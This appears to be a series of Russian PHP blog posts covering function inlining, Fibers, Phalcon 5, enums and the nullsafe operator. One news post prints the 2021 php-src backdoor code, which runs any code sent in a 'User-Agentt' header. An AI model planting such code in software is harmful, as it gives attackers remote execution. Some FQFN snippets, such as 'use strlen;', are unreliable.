Говоря о композере, мне нравится измерять текущее состояние экосистемы PHP, просматривая доступные пакеты с течением времени. В прошлом году я говорил о ±25 миллионах загрузок в день, сегодня это число увеличилось более чем вдвое, и мы уже видим ±60 миллионов загрузок в день.

Наконец, взгляните на этот график, в котором показано количество пакетов и версий с течением времени. Его также можно найти на сайте Packagist.com . Вы можете ясно видеть, как растет здоровая экосистема, и конца этому не видно.

Язык

Давайте закончим напоминанием обо всем, что было добавлено в PHP за последние годы. Если вы не следите за его развитием, вам действительно стоит изучить этот список. Я думаю, что это показывает рост сообщества и основной команды разработчиков за последние годы, и я уверен, что это еще не все.

• Перечисления
• Файберы
• Атрибуты
• Именованные аргументы
• Match v2
• Объявление свойств в конструкторе
• Короткие замыкания
• Нулевой оператор объединения
• Трейты
• Типизированные свойства
• Оператор распаковки
• JIT
• FFI
• Объявления типа возврата
• Генераторы
• и пр.

В программировании встраивание функций (англ. Function Inlining) - это способ оптимизации, при котором вызов функции заменяется непосредственно её телом

Встраивание функций - это важная оптимизация, однако оказываемый эффект на производительность может быть различным. 

Современный PHP работает быстро! Он имеет ряд особенностей для повышения производительности, такие как OPCache, JIT и другие улучшения на этапе компиляции, чтобы сделать интеллектуальную оптимизацию для приложения PHP.

На данный момент PHP имеет более 30 функций , которые используют специальные коды OPCodes или встроены иным образом для повышения производительности.

Одним из примеров, демонстрирующих этот эффект, является функция strlen. Она возвращает длину заданной строки, и PHP пытается выполнить оптимизацию с упреждением.

if (strlen('Test') < 2) {
    echo "Test";
}

В этом фрагменте функция strlen вызывается для статической строки, и PHP может полностью исключить этот блок, поскольку длина строки Test фиксирована, и значение сравнения также является статическим. Это лучше видно с помощью дампа OPCode .

До оптимизации

php -d opcache.opt_debug_level=0x10000 test.php

0000 JMPZ bool(false) 0002
0001 ECHO string("Test")
0002 RETURN int(1)

 После оптимизации

php -d opcache.opt_debug_level=0x20000 test.php

0000 RETURN int(1)

Этот пример работает и в обратном направлении, избавляясь от ненужных OPCodes JMP / JMPZ / JMPNZ, которые в противном случае использовались бы в блоке if.  

if (strlen('Test') < strlen('Test Test')) {
    echo "Test";
}

0000 ECHO string("Test")
0001 RETURN int(1)

Поскольку strlen('Test') < strlen('Test Test') всегда будет true, оптимизированный OPCode не будет содержать никаких переходов.

Полные имена функций

А вы замечали в каком-нибудь чужом коде, в начале файла, где идет объявление используемых классов, так же есть объявление функций с помощью оператора use? Ну знаете, что-то типа:

..

use function is_array;
...

Зачем объявлять функции, если они, вроде как, уже известны интерпретатору PHP?

Так вот, когда вызов функции выполняется внутри пространства имен, движок не может использовать специальную обработку, потому что возможно, что функция с тем же именем будет объявлена ​​позже в программе.

namespace Foo;

if (strlen('Test') < strlen('Test Test')) {
    echo "Test";
}

Обратите внимание, как блок if находится внутри пространства имен Foo. Дамп OPCode показывает, что PHP не применил здесь особую обработку: 

php -d opcache.opt_debug_level=0x20000 test.php

0000 INIT_NS_FCALL_BY_NAME 1 string("Foo\strlen")
0001 SEND_VAL_EX string("Test") 1
0002 V1 = DO_FCALL_BY_NAME
0003 INIT_NS_FCALL_BY_NAME 1 string("Foo\strlen")
0004 SEND_VAL_EX string("Test Test") 1
0005 V2 = DO_FCALL_BY_NAME
0006 T0 = IS_SMALLER V1 V2
0007 JMPZ T0 0009
0008 ECHO string("Test")
0009 RETURN int(1)

Большинство проектов на PHP используют пространства имен, и чтобы вернуть особую обработку, имена функций могут быть снабжены префиксом обратной косой черты (\) или как раз, объявление псевдонимами с use function. Их часто называют «Полностью определенными именами функций» - (Fully-Qualified Function Names) или же FQFN.

Ускорение вашего приложения

В настоящее время единственный способ ускорить вызовы функций - это убедиться, что глобальные функции вызываются правильным квалифицированным способом. Это утомительное ручное действие. Вы можете сделать это одним из двух способов:

namespace Foo;
if (\strlen('Test') < \strlen('Test Test')) {
    echo "Test";
}

или

namespace Foo;
use strlen;
if (strlen('Test') < strlen('Test Test')) {
    echo "Test";
}

Оба приведенных выше фрагмента сигнализируют движку о том, что вызов strlen действительно предназначен для внутренней функции strlen, что позволяет движку продолжать и встраивать их. С FQFN движок снова может применить свою магию:    

0000 ECHO string("Test")
0001 RETURN int(1)

Есть еще варианты объявление автоматических реализация, в виде подключения сторонних пакетов типа  php_backslasher, FunctionFQNReplacer и пр. Так же можно объявить declare(no_dynamic_functions=1) в начале вашего файла.

При вызове внутренних функций PHP, особенно с встраиваемыми функциями, всегда указываются полные имена функций, чтобы обеспечить для них оптимизацию движка.

Список функций со специальной обработкой

Все следующие функции имеют особую обработку в Zend Engine и могут нести большую пользу, если вызываются как полностью определенное имя функции.

• array_key_exists
• array_slice
• boolval
• call_user_func
• call_user_func_array
• chr
• count
• defined
• doubleval
• floatval
• func_get_args
• func_num_args
• get_called_class
• get_class
• gettype
• in_array
• intval
• is_array
• is_bool
• is_double
• is_float
• is_int
• is_integer
• is_long
• is_null
• is_object
• is_resource
• is_scalar
• is_string
• ord
• sizeof
• strlen
• strval

Итак голосование прошло и RFC по Fibers был принят, хоть против проголосовала приличная часть сообщества.

Пытаясь восполнить пробел в своей кодовой базы, PHP выпускает одно из значимых дополнений к языку - Fibers. PHP Fibers, которые появятся в PHP 8.1 в конце года, представят для программистов функционал, своего рода асинхронного программирования (корутины), обеспечив легкий и управляемый параллелизм.

Концепция файберов в основном относится к легкому потоку выполнения (корутины/сопрограммы ). Кажется, что они выполняются параллельно, но в конечном итоге обрабатываются самой средой выполнения, а не отправляются напрямую в ЦП. У многих основных языков есть свои способы их реализации, но принцип тот же: пусть компьютер выполняет две или более задачи одновременно, и дождитесь, пока все не будет завершено.

Реализация Fibers в PHP не является истинным асинхронным вычислением, как можно подумать. В действительности ядро ​​PHP по-прежнему останется синхронным после того как будут введены Fibers rfc.

Вы можете думать о PHP Fibers как о переключении с одной машины на другую.

Как работают файберы?

Файберы похожи на нити в компьютерной программе. Потоки планируются операционной системой и не гарантирует, когда и в какой момент потоки будут приостановлены и возобновлены. Файберы создаются, запускаются, приостанавливаются и завершаются самой программой и позволяют точно контролировать выполнение основной программы и выполнение файберов.

В свое время в PHP 5.4 были добавлены генераторы. С помощью генераторов можно было вернуть (yield) экземпляр генератора вызывающей стороне без удаления состояния блока кода. Генераторы не позволяли легко возобновить вызов с того места, где был вызван yield.

С помощью Fibers код внутри Fiber может приостановиться и вернуть любые данные в основную программу. Основная программа может возобновить работу Fiber с того места, где она была приостановлена .

Важно понимать, что многопоточное выполнение не означает одновременное выполнение . Файберы и основной поток не выполняются в одно и тоже время. Основной поток  запускает файбер, и когда он запускается, то файбер уже выполняется исключительно сам. Основной поток не может наблюдать, завершать или приостанавливать файбер, пока файбер выполняется.

Файбер может приостановить самого себя, но не может возобновить свою работу - возобновить работу Fiber должен основной поток.

Файбер сам по себе не позволяет одновременно выполнять несколько файберов, а так же основной поток и файбер.

Fiber -  это единственный финальный класс, что предотвращает его расширение другим пользовательским классом.

Файбер условно можно представить как автомобиль: он может завестись, и сразу же поехать, зажимать тормоз, ждать и возобновлять поездку.

final class Fiber
{
    public function __construct(callable $callback) {}
    public function start(mixed ...$args): mixed {}
    public function resume(mixed $value = null): mixed {}
    public function throw(Throwable $exception): mixed {}
    public function isStarted(): bool {}
    public function isSuspended(): bool {}
    public function isRunning(): bool {}
    public function isTerminated(): bool {}
    public function getReturn(): mixed {}
    public static function this(): ?self {}
    public static function suspend(mixed $value = null): mixed {}
}

Когда вы создадите новый экземпляр Fiber, ничего не произойдет. Коллбек не будет выполняться, до тех пор, пока вы не запустите Fiber.

$fiber = new Fiber(function() : void {
   echo "Поехали!";
});
$fiber->start(); // Поехали!

Помните, что файберы асинхронны? Можно сделать так, чтобы они как бы были, но оставались недвижимы,  т.к. был "зажат тормоз" -  Fiber::suspend(). Далее файбер передаст управление «наружу», но надо иметь в виду, что наш Fiber-автомобиль все еще жив и ожидает возобновление движения.

$fiber = new Fiber(function() : void {
   Fiber::suspend();
   echo "Поехали!";
});
$fiber->start(); // ничего не произойдет

Fiber::suspend() может быть вызван только внутри волокна.

Теперь, когда автомобиль стоит, следующее, что нужно сделать, - это снять ногу с тормоза, и для этого мы можем вызвать извне метод resume().

$fiber = new Fiber(function() : void {
   Fiber::suspend();
   echo "Поехали!";
});
$fiber->start(); // ничего не произойдет
$fiber->resume(); // Поехали!

В буквальном смысле это не асинхронность, но это не значит, что ваше приложение не может делать две вещи одновременно. Состояние функции Fiber сохраняется там, где оно было остановлено. Образно говоря, вы переключаетесь между автомобилями, ведя каждый к одной точке.

start(), suspend() и в resume() могут принимать аргументы:

• Метод start() будет передавать аргументы в коллбэк и вернет значение, независимо от метода suspend().
• Методе suspend() возвращает значение, полученное от метода resume() .
• Метод resume() возвращает то, что было получено после вызова suspend().

Это делает связь между основным потоком и Fiber относительно простой:

• resume() используется для "вталкивания" значений в Файбер, которые можно получить из suspend()
• suspend() используется для "выталкивания" значений из Файбера, полученных пользователем в том месте, где используется resume().

$fiber = new Fiber(function (): void {
    $push = Fiber::suspend('вытолкнули');
    echo "Значение для resume: ", $push, "\n";
});
 
$put = $fiber->start();
 
echo "Значение для suspend: ", $put, "\n";
 
$fiber->resume('втолкнули');

Значение для suspend: вытолкнули 
Значение для resume: втолкнули 

Резюме состояний файберов

• Запущенные файберы включают приостановленные, работающие и завершенные.
• Приостановленные файберы считаются запущенными, но не работающими или завершенными.
• Работающие файберы запускаются, но не завершаются и не приостанавливаются.
• Завершенные файберы запускаются, но не работают и не приостанавливаются.

Исключения для Fibers

Fiber в PHP 8.1 добавляет два новых класса Throwable. Ни один из них не может быть создан с помощью пользовательского кода PHP, потому что их выполнение ограничено в их конструкторе.

/**
 * Exception thrown due to invalid fiber actions, such as resuming a terminated fiber.
 */
final class FiberError extends Error
{
    /**
     * Constructor throws to prevent user code from throwing FiberError.
     */
    public function __construct()
    {
        throw new \Error('The "FiberError" class is reserved for internal use and cannot be manually instantiated');
    }
}

/**
 * Exception thrown when destroying a fiber. This exception cannot be caught by user code.
 */
final class FiberExit extends Exception
{
    /**
     * Constructor throws to prevent user code from throwing FiberExit.
     */
    public function __construct()
    {
        throw new \Error('The "FiberExit" class is reserved for internal use and cannot be manually instantiated');
    }
}

Примеры использования

Обратите внимание, что файберы, добавленные в PHP 8.1, хоть и предназначены для параллелизма, но не позволяют выполнять параллельную обработку в прямом понимании этого значения. Например, это не позволит запустить две загрузки файла Curl'ом одновременно. Файберы могут помочь в качестве базовых структур для цикла обработки событий параллельной обработки, чтобы легко управлять состоянием программы.

Ниже приводится простое приложение, показывающее последовательность выполнения

$fiber = new Fiber(function(): void {
    echo "Hello from the Fiber...\n";
    Fiber::suspend();
    echo "Hello again from the Fiber...\n";
});

echo "Starting the program...\n";
$fiber->start();
echo "Taken control back...\n";
echo "Resuming Fiber...\n";
$fiber->resume();
echo "Program exits...\n";

результатом ее выполнения будет:

Starting the program...
Hello from the Fiber...
Taken control back...
Resuming Fiber...
Hello again from the Fiber...
Program exits...

Простой пример вывода echo, вероятно, не показывает преимуществ Fiber, потому что он не возвращает и не передает никаких значений. Поэтому возьмем более сложный пример, используя Fibers, сделаем копирование файлов с выводом процента готовности.

function writeToLog(string $message): void {
    echo $message . "\n";
}
$files = [
    'src/foo.png' => 'dest/foo.png',
    'src/bar.png' => 'dest/bar.png',
    'src/baz.png' => 'dest/baz.png',
];

$fiber = new Fiber(function(array $files): void {
    foreach($files as $source => $destination) {
        copy($source, $destination);
        Fiber::suspend([$source, $destination]);
    }
});

// Pass the files list into Fiber.
$copied = $fiber->start($files);
$copied_count = 1;
$total_count  = count($files);

while(!$fiber->isTerminated()) {
    $percentage = round($copied_count / $total_count, 2) * 100;
    writeToLog("[{$percentage}%]: Copied '{$copied[0]}' to '{$copied[1]}'");
    $copied = $fiber->resume();
    ++$copied_count;
}

writeToLog('Completed');

[33%]: Copied 'src/foo.png' to 'dest/foo.png'
[67%]: Copied 'src/bar.png' to 'dest/bar.png'
[100%]: Copied 'src/baz.png' to 'dest/baz.png'
Completed

Фактически операция копирования файлов выполняется внутри Fiber'a, а обратный вызов Fiber принимает только список файлов для копирования и их соответствующее место назначения.

После того, как файл скопирован, Fiber приостанавливается и возвращает имена источника и назначения обратно вызывающей стороне. Затем обновляется прогресс и регистрируется информация о только что скопированном файле.

Используя цикл while, Fiber возобновляется до тех пор, пока не завершится. Для Fiber  возможно исключение Exception в случае, если он не может продолжать работать дальше, и далее идет возвращение в основное приложение.

Вы не будете использовать файберы напрямую

Согласно документации, Fibers предлагает «только минимум, необходимый для того, чтобы пользовательский код мог реализовать корутины с полным стеком или зеленые потоки в PHP».

Другими словами, если у вас нет очень странной причины использовать их напрямую, вам никогда не придется взаимодействовать с Fibers, как если бы вы выполняли корутины на Javascript или Go.

Некоторым высокоуровневым фреймворкам (например, Symfony, Laravel, CodeIgniter и Phalcon) потребуется некоторое время, чтобы понять, как подходить к Fibers и создать набор инструментов, с которыми они будут работать с точки зрения разработчика. Некоторые низкоуровневые фреймворки, такие как amPhp и ReactPHP, уже перешли на файберы в своих последних версиях разработки.

«Поскольку одновременно может выполняться только один файбер, у вас не будет наблюдаться race conditions, который может возникнуть при чтении или записи в памяти двумя потоками одновременно»

Именно фреймворки смогут решать проблемы параллелизма и синхронизации в одном и том же фрагменте памяти. Это хорошо, потому что вам не нужно думать о гонках данных, семафорах и мьютексах - вещах, которые гоферы прекрасно понимают.

Отсутствие каналов

Т.к. одновременно работает только один файбер, даже если вы объявляете несколько, то проблем с синхронизацией данных не будет. Но существует вероятность того, что еще один Fiber пробудится и перепишет то, что сделал первый файбер. Одно из решений - использовать стиль каналов Go.

С этой точки зрения Go намного опережает первоначальное решение для параллелизма PHP. Если вам нужно что-то полностью многопоточное, вы можете сделать свое программное обеспечение на Go или даже на Rust, если вы хотите напрямую использовать потоки ЦП.

Дело не в том, что PHP несовместим с какой-либо моделью параллелизма, но, безусловно его основа по-прежнему синхронна по своей сути за счет удобства и лучшей понятности.

Если нам нужна настоящая модель параллелизма, такая как в Go, тогда PHP придется переписывать с нуля, но это и откроет множество возможностей в вычислительном мире.

Влияние на обратную совместимость

Fiber Класс и его Throwables (FiberError/FiberExit) являются новыми в PHP 8.1. Хотя два Throwable можно тривиально заменен полифилами, сам класс Fiber с его поведением параллелизма не может быть перенесен в более старые версии PHP.

Любой код, объявляющий класс с именем Fiber в глобальном пространстве имен, вызовет фатальные ошибки из-за повторного объявления класса.

Разработчики фреймворка объявили о выпуске 5 версии, правда пока альфа версии

Я адепт фреймворка Фалькон, нет не так, я боооольшой адепт этого фреймворка :) Начав работу с ним с версии, по-моему, 0.9, я верен ему до сих пор. Ну и во времена PHP 5 - он был как бог среди своих PHP собратьев-фреймворков. PHP 7 нивелировал ту пропасть быстродействия, разделяющую Фалькон и др. фреймворки, но все же он до сих пор остается одним из самых быстрых, несмотря ни на что. 

Для тех кто не в курсе, напишу кратко, Phalcon - это фуллстэк PHP-фреймворк, написанный как C-расширение. Его архитектура делает Phalcon самым быстрым PHP-фреймворком из когда-либо созданных (не берем в расчет асинхронные).

Поэтому в нашей компании он с 2013-2014 годов используется как в интернет-магазине, так и в наших внутренних проектах, типа CRM и .т.д. После каждого мажорного релиза мы делаем некоторые правки, чтобы перейти на новую версию фреймворка, так со 2 версии мы перешли на 3, а затем и переписали проекты для новой версии PHP 7.4 и вышедшего тогда же Phalcon 4. А теперь перейдем к теме поста.

Почти год назад команде Фалькона пришлось сменить вектор развития, почитать об этом можно в посте о будущем развитии Фалькона, и разработчики решили написать следующую, 5 версию фреймворка, на нативном PHP, тем более, что PHP 7.4 и PHP 8 ввели такие крутые штуки как Preload и JIT, которые выводят быстродействие PHP скриптов на новый уровень.

Но, в силу некоторых несоответствий в интерфейсах и прочих мелких доработок было принято решение 5 версию фреймворка писать так же на Zeiphir'e, т.е. по сути это будет доработанная 4 версия Фалькона, с возможностью запуска его под PHP 8. 

А вот v6 будет как раз написанная на нативном PHP, с возможностью подключения расширения ext-phalcon, чтобы не терять быстродействие в некоторых узких местах.

Phalcon 5.0.0 alfa

Конечно самое долгожданное событие в релизе 5 версии - это поддержка PHP 8. Пришлось серьезно доработать язык Zephir, но ребята из команды ядра фреймворка молодцы-ребята, все сделали как надо. Пока вышла альфа, и предстоит проделать еще некоторую работу до стабильного запуска, но уже сейчас можно оценить каков он будет в работе и сделать отзыв в сообществе.

Для этого выпуска требуется PHP 7.4 или PHP 8.0.

На данный момент пока не готова библиотека DLL для Windows. Поддержка Виндовс будет представлена в следующих версиях v5.

Список изменений

• Поддержка PHP 7.4 и PHP 8.0
• Исправлено Logger\Log::log() log распознавание всех уровней журнала #15214
• Изменен, setClaims чтобы быть более защищенным, чтобы можно было расширить класс Phalcon\Security\JWT\Builder  #15322
• Исправлено возвращаемое float значение при string в Phalcon\Mvc\Model::average()  #15287
• Исправлен Phalcon\Storage\Serializer\Igbinary для правильного хранения is_numeric и bool значений #15240
• Исправлена ошибка Phalcon\Validation\Validator\Confirmation при сравнении таких случаев, как 000123 = 123 #15347.
• Исправлена ошибка Phalcon\Storage\Adapter, из-за которой не удавалось получить пустые сохраненные данные (например, [], 0, false) #15125
• Для функции getEventsManager() разрешен возврат null #15010
• Удалено подчеркивание из имен методов (начало), чтобы соответствовать PSR-12 #15345
• Исправлено Phalcon\Flash\Session::has() для правильной проверки наличия каких-либо сообщений #15204

К сожалению 4 версия Фалькона не будет поддерживать PHP 8.0, и это нужно учитывать в своих проектах, т.е. скорее обновляться на новую 5 версию, тем более, что сам переход очень и очень безболезненный, я например, уже перевел как свои пет-проекты, типа визиток или небольших каталогов, так и мы уже перевели наш интернет-магазин на работе, плюс добиваем переход внутренней CRM, и то проблема обычно из более строго синтаксиса PHP 8 по сравнению с 7 версией, но конечно же переход оправдан с любой стороны, т.к.  наконе-то  можно будет реализовать в проектах все фишки 8 версии PHP. Спасибо большое ребятам за проделанную работу!

Разработчики PHP предупредили о компрометации Git-репозитория проекта, с попыткой двух вредоносных коммитов

Вчера (28.03.2021) злоумышленники пытались добавить бэкдор в репозиторий исходного кода PHP. Комит был обнаружен программистом Michael Voříšek , который обратил внимание на подозрительную часть кода. Добавленный код должен был позволить осуществить атаку типа RCE путем вызова функции zend-eval-string при получении HTTP заголовка с подстрокой zerodium.

{
	zval zoh;
	php_output_handler *h;
	zval *enc;

	if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
		(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
		convert_to_string(enc);
		if (strstr(Z_STRVAL_P(enc), "zerodium")) {
			zend_try {
				zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
			} zend_end_try();
		}
	}

	switch (ZLIBG(output_compression)) {
		case 0:

В первом коммите под видом исправления опечатки в файле ext/zlib/zlib.c было внесено первое изменение, после того как разработчики обнаружили вредоносный код и отменили его, в репозитории появился второй коммит, который отменял действие разработчиков PHP  и возвращал вредоносное изменение.

В настоящее время пока нет детальной информации об инциденте, предполагается лишь, что изменения были добавлены в результате взлома сервера git.php.net, а не компрометации отдельных учётных записи разработчиков, в частности, Никита Попов подтвердил, что его учетная запись не была скомпрометирована, а атаке подвергся непосредственно сервер репозитория. Никита уточнил, что попытка компрометации и встраивания бэкдора была устранена и начался анализ репозитория на наличие других вредоносных изменений помимо выявленных проблем. К рецензированию приглашаются все желающие, при обнаружении подозрительных изменений следует отправить информацию на security@php.net.

В связи с произошедшим инцидентом, команда PHP планирует полностью перейти на GitHub для разработки. Тем, кто не включён в число разработчиков PHP на GitHub, следует связаться с Никитой Поповым по email nikic@php.net. Одним из обязательных условий для добавления является включение двухфакторной аутентификации. Дополнительно рассматривается вопрос о переходе к обязательному заверению коммитов цифровой подписью разработчика.

Вот и подошли вкусности, Enums точно появятся!

Встроенная поддержка перечислений будет добавлена ​​в PHP 8.1. Кто-то считает, что перечисления не нужны, а если совсем уж приспичило, то можно воспользоваться сторонними пакетами, как например Spatie/Enum , ну а кто-то, в том числе и я, считает, что PHP не хватает нативного функционала по Enums. И я рад, что контрибьютерам PHP удалось наконец-то воплотить это в реальность. 

Итак, Enumeration или для краткости Enum - это перечислимый тип, который имеет фиксированное количество возможных значений. 

Например, масти в колоде игральных карт. В колоде есть четыре масти, и они фиксированы: трефы , бубны , черви и пики. В PHP эти масти можно перечислить с помощью Enum:

enum Suit {
    case Clubs;
    case Diamonds;
    case Hearts;
    case Spades;
}

 С Suit Enum теперь возможно принудительно применять типы при принятии или возврате значения масти:

function pick_card(Suit $suit) {}

pick_card(Suit::Clubs);
pick_card(Suit::Diamonds);
pick_card(Suit::Hearts);
pick_card(Suit::Spades);

Или пример использования, что чаще всего мне как раз и приходиться использовать, статусы заказа в интернет-магазине:

enum Status
{
    case CREATED;
    case COMPLETED;
    case CANCELED;
}

Теперь в модели заказа Order мы можем использовать статусы следующим образом:

class Order
{
    public function __construct(
        public Status $status, 
    ) {}
}

$post = new Order(Status::CREATED);

В отличие от внутреннего использования специальных строк или чисел для хранения и работы с параметрами, перечисления делают код приложения более читабельным и позволяют избежать неожиданного состояния приложения.

Enum синтаксис

PHP 8.1 резервирует и использует ключевое слово enum для объявления Enums. Синтаксис аналогичен синтаксису трейта/класса/интерфейса:

enum Status
{
    case CREATED;
    case COMPLETED;
    case CANCELED;
    case REFUNDED;
    case FAILED;
}

Чувствительность к регистру

Само имя Enum нечувствительно к регистру , и оно соответствует тому, как PHP обрабатывает классы и функции без учета регистра. Отдельные регистры в Enum нечувствительны к регистру.

enum Status
{
    case created;
    case Completed;
    case canCeleD;
}

Enum методы 

Перечисления могут содержать методы, как и классы. Это очень мощная функция, особенно в сочетании с оператором match:

enum Status
{
    case CREATED;
    case COMPLETED;
    case CANCELED;

    public function color(): string
    {
        return match($this) 
        {
            Status::CREATED => 'grey',
Status::COMPLETED => 'green',
Status::CANCELED => 'red'
};
    }
}

 и далее использовать в коде как:

$status = Status::COMPLETED;
$status->color(); // "green"

 Разрешено использовать статические методы. Также обратите внимание, что вы можете использовать в перечислении self:

enum Status
{
    // …
    
    public function color(): string
    {
        return match($this) 
        {
            self::CREATED => 'grey',   
            self::COMPLETED => 'green',   
            self::CANCELED=> 'red',   
        };
    }
}

Enum интерфейсы  

Перечисления могут реализовывать интерфейсы, как и обычные классы:

interface HasColor
{
    public function color(): string;
}

enum Status implements HasColor
{
    case CREATED;
    case COMPLETED;
    case CANCELED;
    
    public function color(): string { /* … */ }
}

Перечисления не должны содержать свойств

Одно из наиболее важных различий между Enum и классом заключается в том, что Enums не могут иметь никакого состояния. Объявление или установка свойств не разрешены. Статические свойства также не допускаются. 

enum Foo {
    private string $test;
    private static string $test2;
}

// Fatal error: Enums may not include member variables in ... on line ...

Кроме того, не допускается динамическая установка свойств:

enum Foo {
    case Bar;
}
$bar = Foo::Bar;
$bar->test = 42;

// Error: Enum properties are immutable in ...:...

Enum значения  или "Поддерживаемые перечисления"

Изначально значения Enum представлены внутри объектами, но вы можете присвоить им какое-то значение, например для сериализации их в базу данных.

enum Status: string
{
    case CREATED = 'created';
    case COMPLETED = 'completed';
    case CANCELED = 'canceled';
}

Обратите внимание на объявление типа в определении перечисления. Он указывает, что все значения перечисления имеют данный тип. Вы также можете сделать их целочисленными - int. Обратите внимание, что разрешены только типы int и string, как значения перечисления.  

enum Status: int
{
    case CREATED = 1;
    case COMPLETED = 2;
    case CANCELED = 3;
}

Технический термин для такого ввода перечислений называется «поддерживаемые перечисления», поскольку они «подкреплены» более простым значением. Если вы решили присвоить значения перечисления, тогда все варианты должны иметь какое-то значение. Вы не можете смешивать и сочетать их. Перечисления без "поддержки" называются "чистыми перечислениями". 

Сериализация поддерживаемых перечислений

Если вы присвоите значения enum, вам вероятно понадобится способ их сериализации и десериализации. Их сериализация означает, что вам нужен способ доступа к значению перечисления. Это делается с помощью public свойства value, обратите внимание, что оно только для чтения:

$value = Status::CANCELED->value; // 3

Получить перечисление из значения можно с помощью Enum::from 

$status = Status::from(2); // Status::COMPLETED

Также можно использовать tryFrom для возврата null при неизвестном значении. Если бы вы использовали from, то возникло бы исключение. 

$status = Status::from('unknown'); // ValueError
$status = Status::tryFrom('unknown'); // null

Вы также можете использовать встроенные функции serialize и unserialize на перечислениях. Кроме того, вы можете использовать json_serialize в сочетании с поддерживаемыми перечислениями, ее результатом будет значение перечисления. Это поведение можно изменить, реализовав JsonSerializable. 

Список значений перечисления

Вы можете использовать статический метод cases(), чтобы получить список всех доступных "случаев" в перечислении: Enum::cases()

Status::cases();

// [Status::CREATED, Status::COMPLETED, Status::CANCELED]

Перечисления - это объекты

Как уже выше упоминалось, значения перечислений представлены как объекты, хотя на самом деле это одноэлементные объекты. Это означает, что вы можете сравнивать их так:

$statusA = Status::COMPLETED;
$statusB = Status::COMPLETED;
$statusC = Status::CANCELED;

$statusA === $statusB; // true
$statusA === $statusC; // false
$statusC instanceof Status; // true

Перечисления как ключи массива

Поскольку значения перечислений на самом деле являются объектами, в настоящее время их невозможно использовать в качестве ключей массива. Следующий код приведет к ошибке:

$list = [
    Status::CREATED => 'created',
    // …
];

Существует RFC для изменения этого поведения, но он еще не был принят.

Это означает, что вы можете использовать только перечисления в качестве ключей в SplObjectStorage и WeakMaps. 

Перечисления могут иметь ноль или более значений

Внутри структуры enum может содержаться любое количество case от нуля до бесконечности. Оба этих объявления Enum валидны:

enum ErrorStates {
}

enum HTTPMethods {
    case GET;
    case POST;
}

Создание экземпляров с помощью new запрещено

Хотя кеймы Enum сами по себе являются объектами, их нельзя создавать с помощью конструкции new. Обе следующие new конструкции не допускаются:

enum Foo {
    case Bar;
}

new Foo(); // Fatal error: Uncaught Error: Cannot instantiate enum Foo
new Foo::Bar(); Parse error: syntax error, unexpected identifier "Bar", expecting variable or "$"

Перечисления не могут быть расширены и не должны наследовать

Перечисления объявляются как final, и Enum не может наследоваться от другого Enum или класса.

enum Foo extends Bar {}

// Parse error: syntax error, unexpected token "extends", expecting "{" in ... on line ...

enum Foo {}
class Bar extends Foo {}

// Fatal error: Class Bar may not inherit from final class (Foo) in ... on line ...

Запрещенные магические методы 

Чтобы объекты Enum не имели какого-либо состояния и чтобы два Enum были сопоставимы, Enum запрещает реализацию нескольких магических методов. Все следующие объявления магических методов недопустимы.

enum Foo {
    public function __get() {}
    public function __set() {}
    public function __construct() {}
    public function __destruct() {}
    public function __clone() {}
    public function __sleep() {}
    public function __wakeup() {}
    public function __set_state() {}
}

// Fatal error: Enum may not include __get in ... on line ...

Рефлексии и атрибуты

Как и ожидалось, были добавлены несколько классов рефлексии для работы с перечислениями: ReflectionEnum, ReflectionEnumUnitCase и ReflectionEnumBackedCase. Также есть новая функция enum_exists, которая делает то, что предполагает ее название - проверяет является ли переданное значение именем класса Enum.

Как и обычные классы и свойства, перечисления и их случаи можно аннотировать с помощью атрибутов . Обратите внимание, что фильтр TARGET_CLASS также будет включать перечисления.

И последнее: перечисления имеют свойство только для чтения, которое в RFC упоминается как деталь реализации и, вероятно, должно использоваться только для целей отладки. Однако об этом все же стоит упомянуть. $enum->name

Небольшое поздравление и изменения на сайте

RSS на сайте

Посещаемость сайта растет, что очень радует меня и показывает полезность контента для многих пользователей, и все больше и больше люди просят сделать RSS. Ну вот в новый год вступаем с RSS :) Адрес https://sergeymukhin.com/rss . 

PHP 8

Перевел блог на 8 версию PHP, почти ничего не пришлось исправлять, немного повозился с настройками jit, пока не получилось включить режим tracing, поэтому пока opcache.jit=function, дальше будет видно. 

С Новым 2021 годом

Так ну и небольшое поздравление, итак, 2020 год прошел, и хочу поздравить всех пользователей и гостей с новым 2021 годом. Пусть для всех он будет гораздо лучше чем предыдущий, желаю счастья, здоровья и хорошего чистого кода.

Всем удачи!

Давайте будем честными, нулевые значения - отстой. Их называют ошибкой на миллиард долларов, но программистам на большинстве языков все еще приходится с ней сталкиваться

Если вы раньше использовали оператор объединения с нулевым значением (??), вы, вероятно, также заметили его недостатки: объединение с нулевым значением не работает при вызовах методов. Вместо этого вам нужны промежуточные проверки или полагаться на какие-то хелперы, предоставляемых некоторыми фреймворками:

$startDate = $booking->getStartDate();

$dateAsString = $startDate ? $startDate->asDateTimeString() : null;

Оператор nullsafe обеспечивает функциональность, аналогичную объединению null, но также поддерживает и вызовы методов. Возьмем для примера следующий код: 

$country =  null;
 
if ($session !== null) {
    $user = $session->user;
 
    if ($user !== null) {
        $address = $user->getAddress();
 
        if ($address !== null) {
            $country = $address->country;
        }
    }
}

Это, конечно некрасиво и к тому же трудно читать, но необходимо, если вы хотите избежать ужасной ошибки Call to a member function on null.

В идеальном мире мы могли бы структурировать наш код так, чтобы null был невозможен. К сожалению, мы живем не в идеальном мире, особенно когда нам приходится иметь дело с чужим кодом. По этой причине в ряде языков есть так называемый «оператор nullsafe». И, начиная с версии 8.0, PHP является одним из них. И PHP 8 позволит написать:

$country = $session?->user?->getAddress()?->country;

В этом примере значение $session может быть как объектом класса Session так и null, а $user является либо объектом User, либо null. Возвращаемое значение - User::getAddress() это либо объект Address, либо null. Если $session?->user возвращает значение null, то  игнорируется вся остальная часть строки. То же самое и с getAddress(). В конце концов, $country это либо допустимое значение страны, полученное из свойства country адреса, либо оно равно нулю.

Давайте посмотрим, что может и что не может этот новый оператор!  

Начнем с ответа на самый важный вопрос: в чем именно разница между оператором объединения null и оператором nullsafe? Давайте посмотрим на этот пример:

class Order
{
    public ?Invoice $invoice = null;
}

$order = new Order();

